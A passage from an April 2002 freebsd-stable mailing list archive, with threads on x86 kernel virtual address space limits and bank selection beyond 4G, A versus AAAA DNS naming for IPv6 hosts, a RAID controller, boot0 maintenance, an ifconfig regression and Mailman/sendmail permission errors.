> > kernel to use, and your limits are such that the you don't run out of > > PTEs before you run out of mbufs (or whatever you plan on allocating). > > God, I'm glad its straightforwards :) > > Okay, first off, you say "(max 4G total for both)" ... do you max *total* > between the two, or phy can be 4g *plus* swap can be 4g for a total of 8g? You aren't going to be able to exceed 4G, no matter what you do, because that's the limit of your address space. If you want more, then you need to use a 64 bit processor (or use a processor that supports bank selection, and hack up FreeBSD to do bank swapping on 2G at a time, just like Linux has been hacked up, and expect that it won't be very useful). If you are swapping, you are demand paging. The way demand paging works is that you reference a page that has been swapped out, or for which physical memory backing store has not been addigned. When you make this reference, you get a page not present fault (a trap 12). The trap handler puts the faulting process to sleep, and then starts the process of pulling the page in from backing store (if it's not a create-on-reference), which, among other things, locates a physical page to contain the copy of the data pulled in from the backing store (or zero'ed out of physical memoy, if it's an unbacked page, e.g. non-swappable, or swappable, but for which swap has not yet been allocated, because it's the first use). Only certain types of kernel memory are swappable -- mostly kernel memory that's allocated on a per process basis. Kernel swapping really does you no good, if you have a fully populated physical memory in the virtual address space, since there's only one kernel virtual address space (SMP reserves a little bit of per processor memory, but the amount is tiny: one page descriptor's worth: 4M); after a certain point, your KVA is committed, and it's a mistake to have it compete in the same LRU domain as processes. You can't really avoid that, for the most part, since there's a shared TLB cache that you really don't have opportunity to manage, other than by seperating 4M vs. 4K pages (and 2M, etc., for the Pentium Pro, though variable page granularity is not supported in FreeBSD, since it's not common to most hardware people actually have). > For instance, right now, I have 3Gig of physical and ~3gig of swap > allocated ... Each process maintains its own virtual address space. Almost all of a process virtual address space is swappable. So if you are swapping, it's going to be process address space: UVA, not KVA. If you increase the KVA, then you will decrease the UVA available to user processes. The total of the two can not exceed 4G. With 4G of physical memory, then 3G of KVA is practically a requirement, particularly if you intend to use the additional memory for kernel data (you will have to, for PDE's: you have no choice). For 3G, it's ~2.5G KVA minimally required. Personally, I'd just put it at 3G, and live with it, so you can throw in RAM to your limit later, when you decide you need to throw RAM at some problem or other. If you can't afford for the UVA to be as small as 1G, then you are going to have to make some hard decisions on the amount of physical RAM you put in the machine. It's not really that bad: for 3G of KVA, you need 3M for PDE's. The problem comes when they are exhausted because of the amount of PDE's you have lying around to describe UVA pages that are swapped out for various processes, and for kernel memory requirements that go way up when you crank up the kernel's ability to handle load (e.g. for network equipment, I generally take half of physical memory for mbufs, mostly because that's around the limit of what I can take, and have anything left over). That you are using System V shared memory segments is *REALLY* going to hurt you; each of these shared memory segment comes out of the KVA, so using shared memory segments with the shm*() calls, rather than using mmap()'ed files as backing store, can eat huge chunks of KVA, as well as fragmenting the KVA, particularly over time. For more details on paged memory management on x86, see: Protected Mode Software Architecture and: The Indispensible PC Hardware Book You might also want to find a book on bootstrapping protected mode operating systems (actually, I have yet to find a very good one, so post about it, if you find one). -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 6: 7:28 2002 Delivered-To: freebsd-stable@freebsd.org Received: from bfib.ipng.nl (bfib.colo.bit.nl [193.109.122.62]) by hub.freebsd.org (Postfix) with ESMTP id BC64137B41A for ; Mon, 22 Apr 2002 06:07:23 -0700 (PDT) Received: by bfib.ipng.nl (Postfix, from userid 863) id B4A308C34; Mon, 22 Apr 2002 10:54:56 +0000 (GMT) Date: Mon, 22 Apr 2002 12:54:56 +0200 From: Pim van Pelt To: Jeroen Massar Cc: itojun@iijlab.net, 'Robert' , '6bone' <6bone@ISI.EDU>, 'ipv6users' , 'freebsd-stable' Subject: Re: A DNS question re 6to6/IPv6 host IN A records. Message-ID: <20020422105456.GK7029@bfib.colo.bit.nl> References: <5288.1019217600@itojun.org> <000701c1e7b3$4007cda0$420d640a@unfix.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <000701c1e7b3$4007cda0$420d640a@unfix.org> User-Agent: Mutt/1.3.25i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I agree with Pekka mostly. Having the same IN A/AAAA RRs for the hostnames in your zonefile can make for awkward situations. One example might be the NL-BIT6 deployment. We have a C3640 with a 10 mbps port acting as vlan router for IPv6. It then pushes the traffic to the AMS-IX. If I am sitting at any IPv6 peer-site, and ssh/ftp/telnet to my machine at the colo, and it were to have both protocols reachable via the same name, then I would connect using IPv6 because this is preferred. However, I like my pron to transfer fast, so the gigabit IPv4 connection (yes I have a 1000SX board in my colo-box :) is preferrable over the turtle-speed IPv6 connection. The other point one might make is that IPv6 is often less well maintained than the IPv4 network. Some tunnel might go down, zebra might crash (or even IOS) and the connection will be left unattended by many administrators. This is why I normally make some distinction either by hostname 'hog.colo.bit.nl IN A' vs 'hog.colo.ipv6.bit.nl IN AAAA' or by domain name 'hog.colo.bit.nl IN A' vs 'hog.ipng.nl IN AAAA'. groet, Pim On Fri, Apr 19, 2002 at 05:02:34PM +0200, Jeroen Massar wrote: | itojun@iijlab.net wrote: | | > >In the forward/reverse zones on a 6to4 setup, should I have | > >nanguo IN A 203.1.96.5 | > >nanguo-v6 IN AAAA 2002:cb01:6005:2::1 | > >or | > >nanguo IN A 203.1.96.5 | > >nanguo IN AAAA 2002:cb01:6005:2::1 | > >When referring to the particular host ? | > >Either works - but which is ... errr... correct? | > | > i recommend the latter, definitely. with the latter | > you will be able o transition to IPv6 much smoother. | | Definitely the latter one even with reverses. | I do usually add something like: | | purgatory A 195.64.92.136 | purgatory AAAA 3ffe:8114:2000:240:290:27ff:fe24:c19f | purgatory.ipv4 A 195.64.92.136 | purgatory.ipv6 AAAA 3ffe:8114:2000:240:290:27ff:fe24:c19f | | Reason: some programs can't be told to only use IPv6 or only IPv4 | (usually -6 or -4 option). | This way one can 'force' it to use either transport. | I do usually leave out the ipv4 though as I don't use that much any more | anyways ;) | | Greets, | Jeroen -- ---------- - - - - -+- - - - - ---------- Pim van Pelt Email: pim@ipng.nl http://www.ipng.nl/ IPv6 Deployment ----------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 6:20:44 2002 Delivered-To: freebsd-stable@freebsd.org Received: from HAL9000.wox.org (12-232-222-90.client.attbi.com [12.232.222.90]) by hub.freebsd.org (Postfix) with ESMTP id 69ED037B405; Mon, 22 Apr 2002 06:20:36 -0700 (PDT) Received: (from das@localhost) by HAL9000.wox.org (8.11.6/8.11.6) id g3MD9qB32382; Mon, 22 Apr 2002 06:09:52 -0700 (PDT) (envelope-from das) Date: Mon, 22 Apr 2002 06:09:52 -0700 From: David Schultz To: Terry Lambert Cc: freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? Message-ID: <20020422060952.B31888@HAL9000.wox.org> Mail-Followup-To: Terry Lambert , freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG References: <20020421191440.J1721-100000@mail1.hub.org> <3CC3D494.649C2A8E@mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3CC3D494.649C2A8E@mindspring.com>; from tlambert2@mindspring.com on Mon, Apr 22, 2002 at 02:15:00AM -0700 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Thus spake Terry Lambert : > If you want more, then you need to use a 64 bit processor (or use a > processor that supports bank selection, and hack up FreeBSD to do > bank swapping on 2G at a time, just like Linux has been hacked up, > and expect that it won't be very useful). I'm guessing that this just means looking at more than 4 GB of memory by working with 2 GB frames at a time. As I recall, David Greenman said that this hack would essentially require a rewrite of the VM system. Does this just boil down to using 36 bit physical addresses? Are there plans for FreeBSD to support it, or is everyone just waiting until 64 bit processors become more common? > You can't > really avoid that, for the most part, since there's a shared TLB > cache that you really don't have opportunity to manage, other than > by seperating 4M vs. 4K pages (and 2M, etc., for the Pentium Pro, > though variable page granularity is not supported in FreeBSD, since > it's not common to most hardware people actually have). Does FreeBSD use 4M pages exclusively for kernel memory, as in Solaris, or is there a more complicated scheme? > If you increase the KVA, then you will decrease the UVA available to > user processes. The total of the two can not exceed 4G. In Linux, all of physical memory is mapped into the kernel's virtual address space, and hence, until recently Linux was limited to ~3 GB of physical memory. FreeBSD, as I understand, doesn't do that. So is the cause of this limitation that the top half of the kernel has to share a virtual address space with user processes? I'll have to read those books one of these days when I have time(6). Thanks for the info. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 7:35:39 2002 Delivered-To: freebsd-stable@freebsd.org Received: from smtp.ixpres.com (smtp.ixpres.com [216.240.160.50]) by hub.freebsd.org (Postfix) with ESMTP id 5A72637B41F; Mon, 22 Apr 2002 07:35:33 -0700 (PDT) Received: from VIZION2000 (66-81-18-103-modem.o1.com [66.81.18.103]) by smtp.ixpres.com (8.9.3/8.9.3) with SMTP id HAA02964; Mon, 22 Apr 2002 07:32:40 -0700 (PDT) (envelope-from vizion@ixpres.com) Message-ID: <008001c1ea08$872b62d0$9865fea9@VIZION2000> From: " Vizion Communication" To: "David Schultz" , "Terry Lambert" Cc: , References: <20020421191440.J1721-100000@mail1.hub.org> <3CC3D494.649C2A8E@mindspring.com> <20020422060952.B31888@HAL9000.wox.org> Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? Date: Mon, 22 Apr 2002 07:18:06 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Test - Please ignore ----- Original Message -----=20 From: "David Schultz" To: "Terry Lambert" Cc: ; Sent: Monday, April 22, 2002 6:09 AM Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... = ? > Thus spake Terry Lambert : > > If you want more, then you need to use a 64 bit processor (or use a > > processor that supports bank selection, and hack up FreeBSD to do > > bank swapping on 2G at a time, just like Linux has been hacked up, > > and expect that it won't be very useful). >=20 > I'm guessing that this just means looking at more than 4 GB of memory > by working with 2 GB frames at a time. As I recall, David Greenman > said that this hack would essentially require a rewrite of the VM > system. Does this just boil down to using 36 bit physical addresses? > Are there plans for FreeBSD to support it, or is everyone just waiting > until 64 bit processors become more common? >=20 > > You can't > > really avoid that, for the most part, since there's a shared TLB > > cache that you really don't have opportunity to manage, other than > > by seperating 4M vs. 4K pages (and 2M, etc., for the Pentium Pro, > > though variable page granularity is not supported in FreeBSD, since > > it's not common to most hardware people actually have). >=20 > Does FreeBSD use 4M pages exclusively for kernel memory, as in > Solaris, or is there a more complicated scheme? >=20 > > If you increase the KVA, then you will decrease the UVA available to > > user processes. The total of the two can not exceed 4G. >=20 > In Linux, all of physical memory is mapped into the kernel's virtual > address space, and hence, until recently Linux was limited to ~3 GB of > physical memory. FreeBSD, as I understand, doesn't do that. So is > the cause of this limitation that the top half of the kernel has to > share a virtual address space with user processes? >=20 > I'll have to read those books one of these days when I have time(6). > Thanks for the info. >=20 > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message >=20 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 8:45:19 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mail.be.ubizen.com (batty.be.ubizen.com [212.113.70.10]) by hub.freebsd.org (Postfix) with ESMTP id A062A37B423 for ; Mon, 22 Apr 2002 08:42:49 -0700 (PDT) Received: (from local) by mail.be.ubizen.com id TAA07290 for ; Mon, 22 Apr 2002 19:27:48 +0200 Received: from internal via SMTP by batty.netvision.be, id smtpda07286; Mon Apr 22 17:27:40 2002 Received: (qmail 15971 invoked from network); 22 Apr 2002 15:22:38 -0000 Received: from unknown (HELO ubi) (10.0.0.10) by amaya.be.ubizen.com with SMTP; 22 Apr 2002 15:22:37 -0000 Received: from ubizen.com (demandred.be.ubizen.com [212.113.70.130]) by ubi.be.ubizen.com (iPlanet Messaging Server 5.2 (built Feb 21 2002)) with ESMTP id <0GUZ00EJZ6PPOD@ubi.be.ubizen.com> for freebsd-stable@freebsd.org; Mon, 22 Apr 2002 17:22:37 +0200 (MET DST) Date: Mon, 22 Apr 2002 17:22:52 +0200 From: Niels Heinen Subject: boot0 maintainer To: freebsd-stable@freebsd.org Message-id: <3CC42ACB.F7832B41@ubizen.com> MIME-version: 1.0 X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.2 i386) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT X-Accept-Language: en X-Sanitizer: Out Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi , Does anyone know who is currently maintaining the boot0 code ? I would like to submit a patch that removes some dos partitions and adds Windows support to it. Thanks ! Niels ps I know it ain't Robert Nordier anymore To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 8:48:25 2002 Delivered-To: freebsd-stable@freebsd.org Received: from purgatory.unfix.org (cust.92.136.adsl.cistron.nl [195.64.92.136]) by hub.freebsd.org (Postfix) with ESMTP id D36F437B41F for ; Mon, 22 Apr 2002 08:47:27 -0700 (PDT) Received: from localhost (localhost [::ffff:127.0.0.1]) by purgatory.unfix.org (Postfix) with ESMTP id 174B531A6; Mon, 22 Apr 2002 16:21:22 +0200 (CEST) Received: from cyan (intranet.azr.nl [::ffff:156.83.254.8]) by purgatory.unfix.org (Postfix) with ESMTP id 4566F3128; Mon, 22 Apr 2002 16:21:18 +0200 (CEST) From: "Jeroen Massar" To: "'Pim van Pelt'" Cc: , "'Robert'" , "'6bone'" <6bone@ISI.EDU>, "'ipv6users'" , "'freebsd-stable'" Subject: RE: A DNS question re 6to6/IPv6 host IN A records. Date: Mon, 22 Apr 2002 16:18:19 +0200 Organization: Unfix Message-ID: <003d01c1ea08$8e66e330$534510ac@cyan> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2616 In-Reply-To: <20020422105456.GK7029@bfib.colo.bit.nl> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal X-Virus-Scanned: by AMaViS @ purgatory.unfix.org Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Pim van Pelt [mailto:pim@ipng.nl] wrote: > Hi, > > I agree with Pekka mostly. Having the same IN A/AAAA RRs for the > hostnames in your zonefile can make for awkward situations. > One example might be the NL-BIT6 deployment. We have a C3640 with a > 10 mbps port acting as vlan router for IPv6. It then pushes the traffic > to the AMS-IX. If I am sitting at any IPv6 peer-site, and > ssh/ftp/telnet to my machine at the colo, and it were to have both > protocols reachable via the same name, then I would connect using IPv6 > because this is preferred. ssh -4 purgatory.unfix.org or the 'ssh purgatory.ipv4.unfix.org' trick but I don't have that one in the outside dns apparently ;) > However, I like my pron to transfer fast, so the gigabit IPv4 connection > (yes I have a 1000SX board in my colo-box :) is preferrable over the > turtle-speed IPv6 connection. IMHO you should upgrade that IPv6 connect. Fortunatly 10mbit is still 2mbit more than my inet-uplink is capable of And: --- purgatory.unfix.org ping statistics --- 5 packets transmitted, 5 received, 0% loss, time 4035ms rtt min/avg/max/mdev = 19.342/21.498/24.997/2.005 ms vs: --- purgatory.unfix.org ping6 statistics --- 5 packets transmitted, 5 packets received, 0% packet loss round-trip min/avg/max = 19.9/21.9/27.3 ms Doesn't differ much for me, latency wise. Besides that I don't have that heavy pr0n traffic desirement ;) Btw.. did you see that nice 10/100/1000mbit port on those cute Powerbook G4's ? And they can do IPv6, now I'll only have to find some financial aid and that gbit uplink > The other point one might make is that IPv6 is often less well > maintained than the IPv4 network. Some tunnel might go down, zebra might > crash (or even IOS) and the connection will be left unattended by many > administrators. This is why I normally make some distinction either by > hostname 'hog.colo.bit.nl IN A' vs 'hog.colo.ipv6.bit.nl IN AAAA' or by > domain name 'hog.colo.bit.nl IN A' vs 'hog.ipng.nl IN AAAA'. Absolutely, but I personally know who to kick when you bring down my IPv6 uplink Also IPng.nl fortunatly has only been down due to scheduled maintainances and not because it 'failed' suddenly. And you probably also remember how the couple of times we saved a box because the IPv4 routing was peeped and we still could reach it over IPv6; Long live native IPv6. This whole story ofcourse all depends on the fact how far one is in the transition process and if you take IPv6 for granted as a 'must-work' service level just like IPv4. Personal taste also comes in mind ofcourse ;) Greets, Jeroen To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 9:27:56 2002 Delivered-To: freebsd-stable@freebsd.org Received: from one.net (ip-216-23-50-116.adsl.one.net [216.23.50.116]) by hub.freebsd.org (Postfix) with SMTP id 0E36C37B416 for ; Mon, 22 Apr 2002 09:27:53 -0700 (PDT) Received: (qmail 92688 invoked by uid 1001); 22 Apr 2002 18:25:52 -0000 Date: Mon, 22 Apr 2002 14:25:52 -0400 From: Coleman Kane To: Vallo Kallaste Cc: freebsd-stable@FreeBSD.ORG Subject: Re: RAID spanning over two 2400A's supported? Message-ID: <20020422142552.A92629@freebsd.org> References: <20020417075728.GA94009@myhakas.estpak.ee> <20020417091401.GC24693@arrakis.tamu.edu> <20020418181822.A32943@oolong.il.thewrittenword.com> <20020420194723.A8156@freebsd.org> <20020421122949.GB18597@myhakas.estpak.ee> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020421122949.GB18597@myhakas.estpak.ee> User-Agent: Mutt/1.3.22.1i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Yeah, Basically that's it in short form. -- coleman On Sun, Apr 21, 2002 at 03:29:49PM +0300, Vallo Kallaste wrote: > > As I understand it, it's basically SCSI RAID controller with some > special firmware which will translate subset of ATA commands to SCSI > and vice versa. Something similar to ATAPI <-> CAM layer translation > in FreeBSD we're all missing 8-) > -- > > Vallo Kallaste > kalts@estpak.ee > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 11:35:51 2002 Delivered-To: freebsd-stable@freebsd.org Received: from shalott.ots.utsystem.edu (shalott.ots.utsystem.edu [206.77.62.145]) by hub.freebsd.org (Postfix) with SMTP id DA7E337B428 for ; Mon, 22 Apr 2002 11:35:49 -0700 (PDT) Received: (qmail 63569 invoked from network); 22 Apr 2002 18:32:50 -0000 Received: from shalott.ots.utsystem.edu (206.77.62.145) by shalott.ots.utsystem.edu with SMTP; 22 Apr 2002 18:32:50 -0000 Date: Mon, 22 Apr 2002 13:32:50 -0500 (CDT) From: Gene Titus To: freebsd-stable@FreeBSD.org Subject: subscribe Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG subscribe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 12:28:14 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mail.gactr.uga.edu (smtpgw.gactr.uga.edu [128.192.37.25]) by hub.freebsd.org (Postfix) with ESMTP id B32D937B405 for ; Mon, 22 Apr 2002 12:28:05 -0700 (PDT) Received: (qmail 73154 invoked from network); 22 Apr 2002 19:19:20 -0000 Received: from unknown (HELO gactr.uga.edu) ([10.10.100.125]) (envelope-sender ) by smtpgw.servers.nat (qmail-ldap-1.03) with SMTP for ; 22 Apr 2002 19:19:20 -0000 Message-ID: <3CC46237.2B82743E@gactr.uga.edu> Date: Mon, 22 Apr 2002 15:19:19 -0400 From: Robin Blanchard Organization: Georgia Center Information Technology X-Mailer: Mozilla 4.79 [en] (X11; U; FreeBSD 4.5-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: stable@freebsd.org Subject: multiple interfaces problem Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Sometime within the last month, ifconfig has changed so that the following rc.conf entries do not properly initialise the second (in this case fxp0) interface. network_interfaces="auto" ifconfig_ti0="inet 10.10.10.221 netmask 255.255.0.0" ifconfig_fxp0="inet 10.10.10.222 netmask 255.255.0.0" defaultrouter="10.10.0.1" hostname="test.servers.nat" there is still a sysctl knob # sysctl -a |grep arp net.link.ether.inet.log_arp_wrong_iface: 0 that deals with multiple interfaces on the same net, so seems that this behaviour should be allowed, whether frowned upon or not. I ran into this this morning after brining up this test box and installing a new world onto it (it had been sleeping for about a month when it had a previous 4.5 STABLE world). -- ---------------------------------------- Robin P. Blanchard Systems Design and Support Georgia Center for Continuing Education fon: 706.542.2404 <> fax: 706.542.6546 ---------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 12:32:38 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mail.ntplx.net (mail7.ntplx.net [204.213.176.181]) by hub.freebsd.org (Postfix) with ESMTP id 3B87137B417 for ; Mon, 22 Apr 2002 12:32:35 -0700 (PDT) Received: from ntplx.net (dhcp-209-54-72-109.ct.dsl.ntplx.com [209.54.72.109]) by mail.ntplx.net (8.11.6/8.11.4/NETPLEX) with ESMTP id g3MFdG018097 for ; Mon, 22 Apr 2002 11:39:17 -0400 (EDT) Message-ID: <3CC42E57.372ACA70@ntplx.net> Date: Mon, 22 Apr 2002 11:37:59 -0400 From: Ted Sikora X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.2 i386) X-Accept-Language: en-US,en-GB MIME-Version: 1.0 To: "freebsd-stable@FreeBSD.ORG" Subject: Mailman wierdness Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG After the recent sendmail commit I started getting this. I updated/rebuilt python several times. Is python core dumping on it's own or caused by the tmp file error in Mailman? pid 2313 (python2.2), uid 91: exited on signal 11 (core dumped) Apr 21 18:22:01 dhcp-209-54-72-109 /kernel: pid 2313 (python2.2), uid 91: exited on signal 11 (core dumped) Apr 21 18:22:01 dhcp-209-54-72-109 sendmail[2315]: g3LMM1s7002315: SYSERR(mailman): collect: Cannot write ./dfg3LMM1s7002315 (bfcommit, uid=91, gid=25): Permission denied Apr 21 18:22:01 dhcp-209-54-72-109 sendmail[2315]: g3LMM1s7002315: SYSERR(mailman): queueup: cannot create queue temp file ./tfg3LMM1s7002315, uid=91: Permission denied -- Ted Sikora tsikora@ntplx.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 13: 1: 2 2002 Delivered-To: freebsd-stable@freebsd.org Received: from earth.hub.org (earth.hub.org [64.49.215.11]) by hub.freebsd.org (Postfix) with ESMTP id 5374A37B484; Mon, 22 Apr 2002 12:59:52 -0700 (PDT) Received: from localhost.localdomain (earth.hub.org [64.49.215.11]) by localhost (Postfix) with ESMTP id 155A6103420; Mon, 22 Apr 2002 09:21:33 -0300 (ADT) Received: from earth.hub.org (earth.hub.org [64.49.215.11]) by earth.hub.org (Postfix) with ESMTP id A6F2B103415; Mon, 22 Apr 2002 09:21:32 -0300 (ADT) Date: Mon, 22 Apr 2002 09:21:32 -0300 (ADT) From: "Marc G. Fournier" To: Terry Lambert Cc: freebsd-current@freebsd.org, Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? In-Reply-To: <3CC3D494.649C2A8E@mindspring.com> Message-ID: <20020422091602.O1721-100000@mail1.hub.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 22 Apr 2002, Terry Lambert wrote: > "Marc G. Fournier" wrote: > > On Sun, 21 Apr 2002, Terry Lambert wrote: > > > No, there's no stats collected on this stuff, because it's a pretty > > > obvious and straight-forward thing: you have to have a KVA space large > > > enough that, once you subtract out 4K for each 4M of physical memory and > > > swap (max 4G total for both), you end up with memory left over for the > > > kernel to use, and your limits are such that the you don't run out of > > > PTEs before you run out of mbufs (or whatever you plan on allocating). > > > > God, I'm glad its straightforwards :) > > > > Okay, first off, you say "(max 4G total for both)" ... do you max *total* > > between the two, or phy can be 4g *plus* swap can be 4g for a total of 8g? > > You aren't going to be able to exceed 4G, no matter what you do, > because that's the limit of your address space. > > If you want more, then you need to use a 64 bit processor (or use a > processor that supports bank selection, and hack up FreeBSD to do > bank swapping on 2G at a time, just like Linux has been hacked up, > and expect that it won't be very useful). Now I'm confused ... from what I've read so far, going out and buying an IBM eSeries 350 with 16Gig of RAM with Dual-PIII processors and hoping to run FreeBSD on it is not possible? Or, rather, hoping to use more then 4 out of 16Gig of RAM is? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 13:19:53 2002 Delivered-To: freebsd-stable@freebsd.org Received: from soulshock.mail.pas.earthlink.net (soulshock.mail.pas.earthlink.net [207.217.120.130]) by hub.freebsd.org (Postfix) with ESMTP id 179D837B417; Mon, 22 Apr 2002 13:19:34 -0700 (PDT) Received: from swan.prod.itd.earthlink.net (swan.mail.pas.earthlink.net [207.217.120.123]) by soulshock.mail.pas.earthlink.net (8.11.6+Sun/8.11.6) with ESMTP id g3MDALw29705; Mon, 22 Apr 2002 06:10:21 -0700 (PDT) Received: from pool0081.cvx40-bradley.dialup.earthlink.net ([216.244.42.81] helo=mindspring.com) by swan.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 16zdVM-0007X6-00; Mon, 22 Apr 2002 06:05:16 -0700 Message-ID: <3CC40A62.B40E816F@mindspring.com> Date: Mon, 22 Apr 2002 06:04:34 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Marc G. Fournier" Cc: freebsd-current@freebsd.org, freebsd-stable@freebsd.org Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? References: <20020422091602.O1721-100000@mail1.hub.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Marc G. Fournier" wrote: > > You aren't going to be able to exceed 4G, no matter what you do, > > because that's the limit of your address space. > > > > If you want more, then you need to use a 64 bit processor (or use a > > processor that supports bank selection, and hack up FreeBSD to do > > bank swapping on 2G at a time, just like Linux has been hacked up, > > and expect that it won't be very useful). > > Now I'm confused ... from what I've read so far, going out and buying an > IBM eSeries 350 with 16Gig of RAM with Dual-PIII processors and hoping to > run FreeBSD on it is not possible? Or, rather, hoping to use more then > 4 out of 16Gig of RAM is? FreeBSD doesn't currently support bank selection. Peter was working on it, last time I heard. Linux supports it, at an incredible performance penalty. But yes, it means only 4G of the RAM will be usable by you. Bank selection works by leaving the address space at 4G, and switching between banks, 2G at a time out of the 16G. Basically, your kernel code lives in the first 2G, and then you get to pick which 2G out of the 16G is the last 2G. As I said, I expect that doing this won't be very useful; since Itanium's are available, and FreeBSD runs native in multiuser mode on IA64 now, there's really no reason to do the 16G, 2G at a time bank selection trick. The main reason I don't think it'll be useful is "DMA": for the DMA to occur, it will have to occur into the first 2G, so that it's never selected out. This is because, no matter what you do, your address space is limited to 4G total: adding banks just controls what physical memory is placed in that 4G window at any given time. Since the most useful thing you could do with more memory is buffers for networking and disk I/O for things like web and file servers... not very useful. Consider that if I had two processes, and divided the memory into 8 2G banks. The 0th bank has the kernel in it, and can never be selected out, if you expect the kernel to run or DMA to be possible. The 1th bank contains the memory for one process, running on CPU 0. The 4th bank contains the memory for one process, running on CPU 1. Basically, now, you can not run these processes simultaneously, because they have conflicting bank selects. You could jam everything into all the code -- you'd have to hack the paged memory management, the VM, the scheduler, etc., to get it to work -- but, even so, after all that work, what you have effectively bought yourself is an "L3 cache" that's in RAM, rather than in a swap partition. You are better off just making it usable as swap, 